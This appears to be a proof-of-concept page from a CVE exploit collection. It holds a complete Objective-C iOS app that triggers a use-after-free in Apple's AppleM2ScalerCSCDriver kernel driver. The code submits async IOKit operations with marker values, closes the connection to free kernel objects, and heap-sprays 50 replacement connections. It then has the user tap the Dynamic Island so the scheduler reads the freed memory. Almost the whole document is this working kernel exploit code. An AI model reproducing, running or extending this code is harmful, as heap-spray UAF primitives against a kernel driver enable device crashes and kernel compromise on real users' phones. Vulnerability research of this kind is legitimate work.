5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ScalerTeardownUAF.m M
// ScalerTeardownUAF.m — UAF via async submit + connection teardown
// 1. Submit credit=0xDEAD0001 async ops (distinctive marker, in scheduler heap)
// 2. Close connection (frees per_client + ops, stale heap entries remain)
// 3. Spray replacement objects (new connections with credit=0xBEEF0002)
// 4. Dynamic Island triggers scheduler → reads freed/sprayed memory → x9=BEEF0002
// If crash with DIFFERENT x9 than our credit → UAF CONFIRMED
// Bundle: com.research.iphoneprobe

#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <IOSurface/IOSurfaceRef.h>
#import <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <mach/mach_time.h>

#define TSD_SIZE 0x1B0

@interface UAFVC : UIViewController
@property (nonatomic, strong) UITextView *logView;
@property (nonatomic, strong) UIButton *clipBtn;
@property (nonatomic, strong) UIButton *startBtn;
@property (nonatomic, strong) NSMutableString *logBuf;
@end

@implementation UAFVC

- (void)viewDidLoad {
    [super viewDidLoad];
    self.view.backgroundColor = [UIColor blackColor];
    self.logBuf = [NSMutableString new];

    self.clipBtn = [UIButton buttonWithType:UIButtonTypeSystem];
    self.clipBtn.frame = CGRectMake(10, 50, 100, 36);
    [self.clipBtn setTitle:@"COPY" forState:UIControlStateNormal];
    [self.clipBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
    self.clipBtn.backgroundColor = [UIColor colorWithRed:0.2 green:0.5 blue:0.2 alpha:1.0];
    self.clipBtn.layer.cornerRadius = 6;
    [self.clipBtn addTarget:self action:@selector(doClip) forControlEvents:UIControlEventTouchUpInside];
    [self.view addSubview:self.clipBtn];

    self.startBtn = [UIButton buttonWithType:UIButtonTypeSystem];
    self.startBtn.frame = CGRectMake(120, 50, 260, 36);
    [self.startBtn setTitle:@"TEARDOWN UAF" forState:UIControlStateNormal];
    [self.startBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];
    self.startBtn.backgroundColor = [UIColor colorWithRed:0.8 green:0.0 blue:0.0 alpha:1.0];
    self.startBtn.layer.cornerRadius = 6;
    [self.startBtn addTarget:self action:@selector(startTest) forControlEvents:UIControlEventTouchUpInside];
    [self.view addSubview:self.startBtn];

    CGFloat y = 94;
    self.logView = [[UITextView alloc] initWithFrame:CGRectMake(10, y, self.view.bounds.size.width - 20,
                                                                 self.view.bounds.size.height - y - 10)];
    self.logView.backgroundColor = [UIColor colorWithWhite:0.1 alpha:1.0];
    self.logView.textColor = [UIColor greenColor];
    self.logView.font = [UIFont fontWithName:@"Menlo" size:9];
    self.logView.editable = NO;
    self.logView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
    [self.view addSubview:self.logView];

    [self log:@"=== TEARDOWN UAF TEST ==="];
    [self log:@"1. Submit async ops with credit=0xDEAD0001"];
    [self log:@"2. Close connection (free per_client + ops)"];
    [self log:@"3. Spray 50 new connections"];
    [self log:@"4. Dynamic Island → if crash, check x9"];
    [self log:@"x9=DEAD0001 → stale entry, same credit"];
    [self log:@"x9=DIFFERENT → freed memory reused → UAF!"];
}

- (void)log:(NSString *)msg {
    NSString *line = [NSString stringWithFormat:@"%@\n", msg];
    [self.logBuf appendString:line];
    NSLog(@"[UAF] %@", msg);
    dispatch_async(dispatch_get_main_queue(), ^{
        self.logView.text = self.logBuf;
        if (self.logBuf.length > 0)
            [self.logView scrollRangeToVisible:NSMakeRange(self.logBuf.length - 1, 1)];
    });
}

- (void)doClip { [UIPasteboard generalPasteboard].string = self.logBuf; [self log:@"=== COPIED ==="]; }

- (void)startTest {
    self.startBtn.enabled = NO;
    dispatch_async(dispatch_get_global_queue(0, 0), ^{ [self runUAF]; });
}

- (void)runUAF {
    mach_port_t mp; IOMainPort(kIOMainPortDefault, &mp);
    io_service_t svc = IOServiceGetMatchingService(mp, IOServiceMatching("AppleM2ScalerCSCDriver"));
    if (!svc) { [self log:@"No driver"]; return; }

    // ============ STEP 1: Open victim connection ============
    [self log:@"\n=== STEP 1: Open victim connection ==="];
    io_connect_t victim = IO_OBJECT_NULL;
    IOReturn kr = IOServiceOpen(svc, mach_task_self(), 0, &victim);
    [self log:[NSString stringWithFormat:@"Victim conn: 0x%x (kr=0x%x)", victim, kr]];

    NSDictionary *sp = @{(id)kIOSurfaceWidth:@(32),(id)kIOSurfaceHeight:@(32),
                         (id)kIOSurfaceBytesPerElement:@(4),(id)kIOSurfacePixelFormat:@(0x42475241)};
    IOSurfaceRef srcS = IOSurfaceCreate((__bridge CFDictionaryRef)sp);
    IOSurfaceRef dstS = IOSurfaceCreate((__bridge CFDictionaryRef)sp);
    uint32_t srcID = IOSurfaceGetID(srcS), dstID = IOSurfaceGetID(dstS);

    uint8_t baseline[TSD_SIZE];
    memset(baseline, 0, TSD_SIZE);
    *(uint32_t *)(baseline + 0) = srcID;
    *(uint32_t *)(baseline + 4) = dstID;

    // Sync baseline first
    kr = IOConnectCallMethod(victim, 1, NULL, 0, baseline, TSD_SIZE, NULL, NULL, NULL, NULL);
    [self log:[NSString stringWithFormat:@"Sync baseline: 0x%x", kr]];

    // ============ STEP 2: Set credit and submit async ops ============
    [self log:@"\n=== STEP 2: Set credit=0xDEAD0001, submit 50 async ops ==="];
    {
        uint8_t s10[0x18]; memset(s10, 0, 0x18);
        *(uint32_t *)s10 = 0xDEAD0001;  // Distinctive marker
        uint64_t sc[3] = {0,0,0};
        kr = IOConnectCallMethod(victim, 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL);
        [self log:[NSString stringWithFormat:@"Sel 10 (credit=0xDEAD0001): 0x%x", kr]];
    }

    // Submit async ops (TSD[0x008]=1)
    int asyncOK = 0;
    for (int i = 0; i < 50; i++) {
        uint8_t async_tsd[TSD_SIZE];
        memcpy(async_tsd, baseline, TSD_SIZE);
        *(uint64_t *)(async_tsd + 0x008) = 1;  // Async path
        kr = IOConnectCallMethod(victim, 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL);
        if (kr == 0) asyncOK++;
    }
    [self log:[NSString stringWithFormat:@"Async ops: %d/50 OK", asyncOK]];
    [self log:@"50 entries with credit=0xDEAD0001 now in scheduler heap"];

    // ============ STEP 3: Close victim connection ============
    [self log:@"\n=== STEP 3: CLOSING victim connection ==="];
    [self log:@"This frees per_client (0x170 bytes) + operation objects"];
    [self log:@"If scheduler heap retains entries → dangling pointers"];
    kr = IOServiceClose(victim);
    [self log:[NSString stringWithFormat:@"IOServiceClose: 0x%x", kr]];
    [self log:@"Victim freed. Scheduler may still reference freed memory."];

    // ============ STEP 4: Spray replacement objects ============
    [self log:@"\n=== STEP 4: Spray 50 new connections ==="];
    [self log:@"Each allocates a 0x170-byte per_client object"];
    [self log:@"These may fill the freed victim's memory slot"];
    io_connect_t spray[50];
    int sprayOK = 0;
    for (int i = 0; i < 50; i++) {
        spray[i] = IO_OBJECT_NULL;
        kr = IOServiceOpen(svc, mach_task_self(), 0, &spray[i]);
        if (kr == 0 && spray[i]) {
            sprayOK++;
            // Set a DIFFERENT credit on spray connections
            uint8_t s10[0x18]; memset(s10, 0, 0x18);
            *(uint32_t *)s10 = 0xBEEF0002;  // Different marker
            uint64_t sc[3] = {0,0,0};
            IOConnectCallMethod(spray[i], 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL);
        }
    }
    [self log:[NSString stringWithFormat:@"Spray: %d/50 connections opened", sprayOK]];
    [self log:@"Each has credit=0xBEEF0002 at per_client+0x158"];

    // ============ STEP 5: Trigger scheduler ============
    [self log:@"\n=== STEP 5: Trigger scheduler ==="];
    [self log:@">>> TAP DYNAMIC ISLAND NOW <<<"];
    [self log:@""];
    [self log:@"If x9 = 0xDEAD0001 → stale entry, credit from victim"];
    [self log:@"If x9 = 0xBEEF0002 → UAF! Freed memory reused by spray!"];
    [self log:@"If x9 = something else → freed memory reused by system"];
    [self log:@"If no crash → entries were properly cleaned up"];

    // Keep alive and submit ops on spray connections to trigger scheduling
    [self log:@"\nSubmitting ops on spray connections to trigger scheduling..."];
    for (int round = 0; round < 100; round++) {
        for (int i = 0; i < sprayOK && i < 50; i++) {
            if (spray[i]) {
                uint8_t async_tsd[TSD_SIZE];
                memcpy(async_tsd, baseline, TSD_SIZE);
                *(uint64_t *)(async_tsd + 0x008) = 1;
                IOConnectCallMethod(spray[i], 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL);
            }
        }
        if (round % 10 == 0)
            [self log:[NSString stringWithFormat:@"  Round %d/100 (tap Dynamic Island!)", round]];
        usleep(100000);
    }

    [self log:@"\n=== 100 rounds done. Tap Dynamic Island if not crashed yet ==="];
    IOObjectRelease(svc);
    while (1) { sleep(5); [self log:@"  alive..."]; }
}

@end

@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(NSDictionary *)opts {
    self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
    self.window.rootViewController = [[UAFVC alloc] init];
    [self.window makeKeyAndVisible]; return YES;
}
@end
int main(int argc, char *argv[]) {
    @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); }
}